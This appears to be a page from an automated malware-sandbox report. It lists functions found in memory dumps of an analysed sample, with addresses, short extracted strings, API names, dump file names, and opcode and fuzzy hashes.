
Uniqueness Score: -1.00%

Function 00FACB13, Relevance: 3.9, Strings: 3, Instructions: 181COMMON

Download Yara Rule

Strings

CP, xrefs: 00FACBCD
|t3, xrefs: 00FACC9F
F~c, xrefs: 00FACC19

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: CP$F~c$|t3
API String ID: 0-82454184
Opcode ID: b04b25bbecc1f259a4fc2fde3581c27bdc2d4569c3b966c7e3772340f07d2b4f
Instruction ID: f7a0b0af3d7736fc430bf6856356bef4953f875ed7b3e9c69ff13ecc71ad5139
Opcode Fuzzy Hash: b04b25bbecc1f259a4fc2fde3581c27bdc2d4569c3b966c7e3772340f07d2b4f
Instruction Fuzzy Hash: AB8133B1D0120AEBCF58CFA9D98A5EEFBB5FF04314F208169E512B6260D3744A45AF94

Uniqueness

Uniqueness Score: -1.00%

Function 00FB0BA4, Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

(B, xrefs: 00FB0CD5
~, xrefs: 00FB0D89
S&, xrefs: 00FB0D81

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (B$S&$~
API String ID: 0-116492414
Opcode ID: 26746bb7a51525a6e6b45d6698d9aacd379f953159f35882a3bd0a96d12f38f3
Instruction ID: 867fcdeafbebdf11eae44071fcbfb5ace62d2588bcdf07013fa187c17a00e556
Opcode Fuzzy Hash: 26746bb7a51525a6e6b45d6698d9aacd379f953159f35882a3bd0a96d12f38f3
Instruction Fuzzy Hash: 8E7142B1409341AFC358CFA1C98981BBBE1FB85B58F104E0CF69696260D7B5DA099F83

Uniqueness

Uniqueness Score: -1.00%

Function 00FBBF0C, Relevance: 3.9, Strings: 3, Instructions: 155COMMON

Download Yara Rule

Strings

m&E>, xrefs: 00FBC010
*1W, xrefs: 00FBBF9C
+[, xrefs: 00FBC028

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: *1W$+[$m&E>
API String ID: 0-1836634314
Opcode ID: 0fd962170782cefe7165ba3ff77e4a191e870417913eae5129c508620ef31766
Instruction ID: 80f22a0336f2b6b012cc2491e96b20f458e9a567b359b847bd9f6d787126af39
Opcode Fuzzy Hash: 0fd962170782cefe7165ba3ff77e4a191e870417913eae5129c508620ef31766
Instruction Fuzzy Hash: E3713E711083819BC748CF60D98A95BBBF1FBC4758F108A1DF58696260D7B9DA498F82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA90D4, Relevance: 3.9, Strings: 3, Instructions: 128COMMON

Download Yara Rule

Strings

?_A, xrefs: 00FA915A
Jk|, xrefs: 00FA921E
13>, xrefs: 00FA91B7

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 13>$?_A$Jk|
API String ID: 0-3522153091
Opcode ID: 9f7db7fd69f16722ed54bbb1faa115af283d7ab3a07288f3dd77a07395533225
Instruction ID: c8b0c9f47dd9b5e1c2b1c4b556adf896a4243268011dd8ca277a44efa6ed4e2b
Opcode Fuzzy Hash: 9f7db7fd69f16722ed54bbb1faa115af283d7ab3a07288f3dd77a07395533225
Instruction Fuzzy Hash: AF5115B1C0521AABDF18CFE1D9469EEFBB1FF45314F208199D411BA260D3B85A05DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00FBE10A, Relevance: 3.9, Strings: 3, Instructions: 112COMMON

Download Yara Rule

Strings

%, xrefs: 00FBE177
vq, xrefs: 00FBE13B
D^, xrefs: 00FBE210

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: D^$vq$%
API String ID: 0-2873858206
Opcode ID: 54c4ce59a686b5dd3bf9a7e3ef94cf9caef809456948d77d4bf3fce0830084f2
Instruction ID: b98016c4eee9a345236bf8fa1c86c4e92d1f9963039b80ea78ff3cf8b0d99774
Opcode Fuzzy Hash: 54c4ce59a686b5dd3bf9a7e3ef94cf9caef809456948d77d4bf3fce0830084f2
Instruction Fuzzy Hash: EA4155729087028FC758DE26C98946BBBE5FFC8758F100A1DF586A6260D771CA489F87

Uniqueness

Uniqueness Score: -1.00%

Function 00FAF48A, Relevance: 3.9, Strings: 3, Instructions: 105COMMON

Download Yara Rule

Strings

hsn, xrefs: 00FAF573
)o, xrefs: 00FAF52F
HzL, xrefs: 00FAF517

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )o$HzL$hsn
API String ID: 0-543950899
Opcode ID: 143d3884d5ae298a24ff13d8d7f865c4b77dc7df5fcf487677fbae11b3d6bed3
Instruction ID: 56599a34639c0c90fa3a4d75b35cd49ce7bc216700973c6ce9bce616bdfcfb94
Opcode Fuzzy Hash: 143d3884d5ae298a24ff13d8d7f865c4b77dc7df5fcf487677fbae11b3d6bed3
Instruction Fuzzy Hash: 8C417AB19083428FC718CE61D48952FFBE1EBC4358F140A2DF5969A260D3B5CA4DAF87

Uniqueness

Uniqueness Score: -1.00%

Function 00FBE899, Relevance: 3.8, Strings: 3, Instructions: 88COMMON

Download Yara Rule

Strings

^s\A, xrefs: 00FBE90F
H`f, xrefs: 00FBE91F
), xrefs: 00FBE8E3

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )$H`f$^s\A
API String ID: 0-2557149085
Opcode ID: b10851f5ff62cb8970c47835fd07839b934c7fb626b2a7cf67d0b20d897d4c34
Instruction ID: 57cfc18783a9f0eddb2ccdd74f69123fc689e5e52912dfe9c3028fdb4c3db867
Opcode Fuzzy Hash: b10851f5ff62cb8970c47835fd07839b934c7fb626b2a7cf67d0b20d897d4c34
Instruction Fuzzy Hash: 3F3146726083048FC758CF2AC88154BBBE5FBC8718F048A2DF98997254D775EA0ACF46

Uniqueness

Uniqueness Score: -1.00%

Function 00FACE5A, Relevance: 3.8, Strings: 3, Instructions: 69COMMON

Download Yara Rule

Strings

0mZ, xrefs: 00FACEAF
5-\, xrefs: 00FACF0A
t2 , xrefs: 00FACEA8

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 0mZ$5-\$t2
API String ID: 0-2873251415
Opcode ID: 37070c9cf26442f8ea0e86b1f7c3f5d7b53a1400e48d463895da02277b411f90
Instruction ID: a2de09b6b1587406ee843fe0f386d8337a15b6c7954e673adc22dc94d54b9c07
Opcode Fuzzy Hash: 37070c9cf26442f8ea0e86b1f7c3f5d7b53a1400e48d463895da02277b411f90
Instruction Fuzzy Hash: A53112B190130AEFCF44CFA5DA0A89FBBB5FF44314F108549E92562260D3B49B24DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FBDDA5, Relevance: 3.8, Strings: 3, Instructions: 58COMMON

Download Yara Rule

Strings

mK], xrefs: 00FBDE3B
A>#, xrefs: 00FBDDE7
zh, xrefs: 00FBDDE0

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: A>#$mK]$zh
API String ID: 0-608348618
Opcode ID: 103dee2b336bf25f8507ba83b0e833d55c82a63d957243bf54ec1509db9afec3
Instruction ID: a31386d13e02ee0d048b0238338fd3358b6cd4941a4935e325f649f55270e07f
Opcode Fuzzy Hash: 103dee2b336bf25f8507ba83b0e833d55c82a63d957243bf54ec1509db9afec3
Instruction Fuzzy Hash: 9321F2B6E0020EEBDF04DFA5C94A9EEBBB1FB40318F208599D514BA251D7B41B19DF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC0380, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6EDC0403

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: f9ee413c807f5f9fd6bb9e82868afb1b6c35b0fc295dededa6978589589d07dc
Instruction ID: e59e60994c00ab36ac8cbed55c23ed14e62d8596a2fe65124c48b4e616b147f5
Opcode Fuzzy Hash: f9ee413c807f5f9fd6bb9e82868afb1b6c35b0fc295dededa6978589589d07dc
Instruction Fuzzy Hash: 4E62CAB0E04269CFDF11CFE8C8907DDBBBAAF49784F1881A9D459A7241E7309985CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB1DE0, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6EDB2168
?, xrefs: 6EDB1E9B

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: 9cdca937448908c104765f245352d7d544a378f6b2a26f33b21b996198dd017e
Instruction ID: 0062bd3d1165b57139f7596178d5116ebfd2e75043e57e6ab383c744c92208df
Opcode Fuzzy Hash: 9cdca937448908c104765f245352d7d544a378f6b2a26f33b21b996198dd017e
Instruction Fuzzy Hash: C2B14AB2A1C312CFD7058FA9C49056EB7A2AF8A344F04872EE8E697251F731D946C781

Uniqueness

Uniqueness Score: -1.00%

Function 00FA1EFB, Relevance: 2.8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

Strings

wg, xrefs: 00FA20EB
L&^, xrefs: 00FA1F30

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: L&^$wg
API String ID: 0-3816254650
Opcode ID: c65b584bd40b8cc5baacca921b244ae0b7d8041721b949bd447a81e1d2da1f4f
Instruction ID: 716f4bbe178ab34678689d4a5ab10bd49dcc758bba50bac7e40cfff98f6af6c2
Opcode Fuzzy Hash: c65b584bd40b8cc5baacca921b244ae0b7d8041721b949bd447a81e1d2da1f4f
Instruction Fuzzy Hash: 29D100B15083809FD368CF65C489A4BFBE1FBC5358F108A1DF1AA96260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB68B0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6EDB6B4D
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB68C9

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: e0a8c37bc3ea341e0adfef60b01b7daaf973770b2e6ceaf0292e10cf8a904374
Instruction ID: f8aafd49fd298a438d081c0d684d4b498bc58eac1dd6b7d55fe1dff9bec22c89
Opcode Fuzzy Hash: e0a8c37bc3ea341e0adfef60b01b7daaf973770b2e6ceaf0292e10cf8a904374
Instruction Fuzzy Hash: B781C0F17243018FEB608FE594A076EB3A2AB81714F14883CC9FB4B685F675E44A8656

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3782, Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

&b, xrefs: 00FB37F2
*0, xrefs: 00FB38A7

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &b$*0
API String ID: 0-1870266505
Opcode ID: 50880284d0e9342d5679a526af0ddf43d637c4afaa052373fab50bf6f113c256
Instruction ID: 9f76c4b8794d38821eb6ca1b7462d41ea0c7f1f49a91e0c6a72282b558a0cc8b
Opcode Fuzzy Hash: 50880284d0e9342d5679a526af0ddf43d637c4afaa052373fab50bf6f113c256
Instruction Fuzzy Hash: 81B164728083819FC368CF65C98954BFBE1BBC4768F60891DF1D596260D3B58A49DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1CDB, Relevance: 2.7, Strings: 2, Instructions: 228COMMON

Download Yara Rule

Strings

J, xrefs: 00FC1E0A
d:, xrefs: 00FC1E4F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: J$d:
API String ID: 0-1524728544
Opcode ID: b671afeedc60d32a7644fd04e8495c7600272f1863f73cdc10e97ca144ccbdd2
Instruction ID: 564556d502def6c1eaf248aa5075a1f52633c8ca27aef44c2eacf193692c652b
Opcode Fuzzy Hash: b671afeedc60d32a7644fd04e8495c7600272f1863f73cdc10e97ca144ccbdd2
Instruction Fuzzy Hash: D691BA715083028BC768CF14CA9AA6FBBE1FBC5718F00491EF98696261C771AD19EF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FAAA4E, Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

>wd, xrefs: 00FAAA93
+a, xrefs: 00FAABA9

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +a$>wd
API String ID: 0-1130554497
Opcode ID: e2212cb9a2cbee6d778bfa28bdc69eebb723753b2041b0e5e5922bcaa6852e26
Instruction ID: 675f56b6b778abbd27506629937ac8ea2800568300cd1bfad97fe248eb431bf9
Opcode Fuzzy Hash: e2212cb9a2cbee6d778bfa28bdc69eebb723753b2041b0e5e5922bcaa6852e26
Instruction Fuzzy Hash: D96135B15083019FD748DF25D98A80BBBE1BBC4758F04891DF58A9A260D774DA49DF83

Uniqueness

Uniqueness Score: -1.00%

Function 00FBEA55, Relevance: 2.6, Strings: 2, Instructions: 143COMMON

Download Yara Rule

Strings

P/=, xrefs: 00FBEAE6
nag, xrefs: 00FBEA81

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: P/=$nag
API String ID: 0-756297285
Opcode ID: f57a9baf65e21581a09217d46c0ed58c664342d6b716ffc6424086670a35f311
Instruction ID: 7883bb549c8c814fccb521b97bb6541fe82027fc768cd966ad99acb10cb34569
Opcode Fuzzy Hash: f57a9baf65e21581a09217d46c0ed58c664342d6b716ffc6424086670a35f311
Instruction Fuzzy Hash: C6612E72C0020DABCF49CFA1D94A9EEBFB1FF08314F208158E615B2260D3B51A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FB0E97, Relevance: 2.6, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

|:, xrefs: 00FB0FA3
F$, xrefs: 00FB0EE8

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: F$$|:
API String ID: 0-3326386790
Opcode ID: a380f264a74cbb7b4c59127d8c5f72956c7603aa6a41f12f5525660d97ac028f
Instruction ID: 878ce2b0ebb3f6907c14476056f0302f9480a38cec12e93d57cf11b37f671844
Opcode Fuzzy Hash: a380f264a74cbb7b4c59127d8c5f72956c7603aa6a41f12f5525660d97ac028f
Instruction Fuzzy Hash: BE5143B2508341AFD754DF21C98981FBBE1FBC8748F808A1CF5A656221D3B5CA099F82

Uniqueness

Uniqueness Score: -1.00%

Function 00FBCD35, Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

,W*, xrefs: 00FBCD4A
'jG, xrefs: 00FBCDB4

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 'jG$,W*
API String ID: 0-3834443169
Opcode ID: ac99fcea54602952a84880a1c330843c93e7ede20da088075ce582d62feeb8d7
Instruction ID: dd745052c285df1c65877044f1307f9271d7f545411d8b6d3ee9c21e3e7c84b5
Opcode Fuzzy Hash: ac99fcea54602952a84880a1c330843c93e7ede20da088075ce582d62feeb8d7
Instruction Fuzzy Hash: 7E414A729087118FC714CF29C48545BFBE0FF98718F418A6DE889A7251D774DA09CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3228, Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

G?U, xrefs: 00FA331D
G?U, xrefs: 00FA325E

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: G?U$G?U
API String ID: 0-4115723825
Opcode ID: a8b7f482698a6a6f44470791029807ab3ad3ede4d21463687c8c33e5ecd255b1
Instruction ID: 7558350d29412a6d44502040104825f56bdb28f57fb5ecd44093c5b96b74fa9d
Opcode Fuzzy Hash: a8b7f482698a6a6f44470791029807ab3ad3ede4d21463687c8c33e5ecd255b1
Instruction Fuzzy Hash: CF31ABB290C3028BC744CF25D84940BBBE0BB947A8F15492DF899A7261D7B18A09DF93

Uniqueness

Uniqueness Score: -1.00%

Function 00FC20CE, Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

tA, xrefs: 00FC2133
a^, xrefs: 00FC21A0

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: a^$tA
API String ID: 0-2190592617
Opcode ID: 15953781f6a053821bab3a4b85dadf0725df89ea97571d1ea600614fdc7ae51b
Instruction ID: 6934e0df1f94c12388b14e1e23ea59a0cafba553a71642a9bf2201982b09808d
Opcode Fuzzy Hash: 15953781f6a053821bab3a4b85dadf0725df89ea97571d1ea600614fdc7ae51b
Instruction Fuzzy Hash: F2412F71D0021EEBCF09DFA5CA4A4EEBFB1FB58314F2080A9C512B6260D3B54A45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FAA92F, Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

-K, xrefs: 00FAA996
o^, xrefs: 00FAA935

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -K$o^
API String ID: 0-865083084
Opcode ID: b243b3eaa975e0ba69c20948a5e0d2058476d86e93cf60b131bd7606726ef535
Instruction ID: 2d4035139f9c5554078ad7698283c735d4be645ffe3ca3dcf657846af5de996b
Opcode Fuzzy Hash: b243b3eaa975e0ba69c20948a5e0d2058476d86e93cf60b131bd7606726ef535
Instruction Fuzzy Hash: 39318AB1D0121AEBCB18CFE9C98A4EEBBB5EB50314F24808AD112BB250D7745B46DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00FAAE43, Relevance: 2.6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

Strings

`:, xrefs: 00FAAE63
TS_, xrefs: 00FAAF0F

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: TS_$`:
API String ID: 0-942315
Opcode ID: 0d47acef4d6cb357534fb5289c4d909aa5272ea62963ea351491769245b965dc
Instruction ID: 7c625a5b39b1d3a3274e0d11ee3c57e4e3ca91e820dc8a2dcc0f3f8be2557ec3
Opcode Fuzzy Hash: 0d47acef4d6cb357534fb5289c4d909aa5272ea62963ea351491769245b965dc
Instruction Fuzzy Hash: F731BEB2C12209EBCF45DFE5CA0A5DEBBB0FB04348F208199D411B6261D3B44B48EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCE3A1, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6EDCE39C,?,?,?,?,?,?,00000000), ref: 6EDCE5CE

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: bfef06d89d8adcc097a1d74252cd1476f8d8d91dea3c47d32263247039913863
Instruction ID: 75b5237f7d7780e91b33c5425a15f3e91f1712ad4df82c4727bfb4cf08c2246e
Opcode Fuzzy Hash: bfef06d89d8adcc097a1d74252cd1476f8d8d91dea3c47d32263247039913863
Instruction Fuzzy Hash: CDB19EB1220609CFD745CF68C496B647BE4FF057A4F258658E8EACF2A1C335E982CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA584, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6EDCA59A

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b8e4c5920f46ac461c3f869e875168ced3ce4247db314b67c9206b3aaa200e9a
Instruction ID: 6693d05420b5e676c51a7394cdc50c776ac1c98195d3553e1c5368a9c068e42f
Opcode Fuzzy Hash: b8e4c5920f46ac461c3f869e875168ced3ce4247db314b67c9206b3aaa200e9a
Instruction Fuzzy Hash: 1B5189B1A51A16CFEB44CF95C89179ABBF4FB48760F20802AD41AEB284E375D950CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD0927, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3474cca1916156f077f1120ee526d649229c4e41603134c96687e764e325e2b9
Instruction ID: d1e981061d3926c5d05f215a1cf03e951a7c3d4312598517ec44e99704aa22d2
Opcode Fuzzy Hash: 3474cca1916156f077f1120ee526d649229c4e41603134c96687e764e325e2b9
Instruction Fuzzy Hash: C94193B580561DAEDB50DFB9CC98AEABBBDEF85344F1442D9E418D3200E7359E498F20

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC10C0, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6EDC12F3

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: bed8ba5df195aa1ab9a22412da43ee4347547ee86b84a672db83ce03a68f0dfd
Instruction ID: f383db133f15d2689544b75b4b925fe98e6850ceb9df8e81979e066443c73fd8
Opcode Fuzzy Hash: bed8ba5df195aa1ab9a22412da43ee4347547ee86b84a672db83ce03a68f0dfd
Instruction Fuzzy Hash: BBD1C435608725CFC310CF99C58065AB7FAAF85B98F248759D4E88B295D231DD4ECB83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA4D1E, Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

+=, xrefs: 00FA4F1D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +=
API String ID: 0-959356335
Opcode ID: ed0201178e4888335919e6eaf008cbd45cb45c166922b413106c51295a7173d7
Instruction ID: 9ce65e4728c2c5cd6fd686a9e90770fc55c06a7eda159d5632081172d02589ce
Opcode Fuzzy Hash: ed0201178e4888335919e6eaf008cbd45cb45c166922b413106c51295a7173d7
Instruction Fuzzy Hash: D2A155B5D00319EFCB18DFA5D98AADEBBB1FF44324F208059E115BA290D7B51A46CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FAFA78, Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

y)W, xrefs: 00FAFAC7

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: y)W
API String ID: 1586166983-252666296
Opcode ID: b27b710d3b30dfa2f301625b08d6a66b7e9b98538195a9f77f933b71195daa31
Instruction ID: 199342c9e5eb23b3fc07c0657245e58cb84e4a839df90b7fc6462b3735d3ce56
Opcode Fuzzy Hash: b27b710d3b30dfa2f301625b08d6a66b7e9b98538195a9f77f933b71195daa31
Instruction Fuzzy Hash: 379123B1E01208EBDF08CFE5D98A9DEFBB2FB48714F208019E111BA260D7B55A55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00FA46FA, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

vF`, xrefs: 00FA4914

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: vF`
API String ID: 0-1152140331
Opcode ID: 03440bb8ffa85d6619823c085b054145fe0dbf962a45d3bb23a8cd5bf75ca48f
Instruction ID: 492847ada276608c44c16869954129d48d3bc9a5012428ce3081d61aea28b00e
Opcode Fuzzy Hash: 03440bb8ffa85d6619823c085b054145fe0dbf962a45d3bb23a8cd5bf75ca48f
Instruction Fuzzy Hash: B79158B28083419FC354CF24D88940BBBF0BBD9358F505A2CF5E996220E3B5DA499F97

Uniqueness

Uniqueness Score: -1.00%

Function 00FBE5A7, Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

Hlf, xrefs: 00FBE63E

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Hlf
API String ID: 0-3964790188
Opcode ID: 95fde37c6f15444079cf5d161cab7319be91c678421980405c7c883a68ac2ccc
Instruction ID: 29b0867774d029c80c2a4a02c01679f065ef4438b4d9328babfb0494620da445
Opcode Fuzzy Hash: 95fde37c6f15444079cf5d161cab7319be91c678421980405c7c883a68ac2ccc
Instruction Fuzzy Hash: B57110B25083009FC754DF62898A45FBAF1FBC9768F104A1CF29A96260C3B5CA48DF47

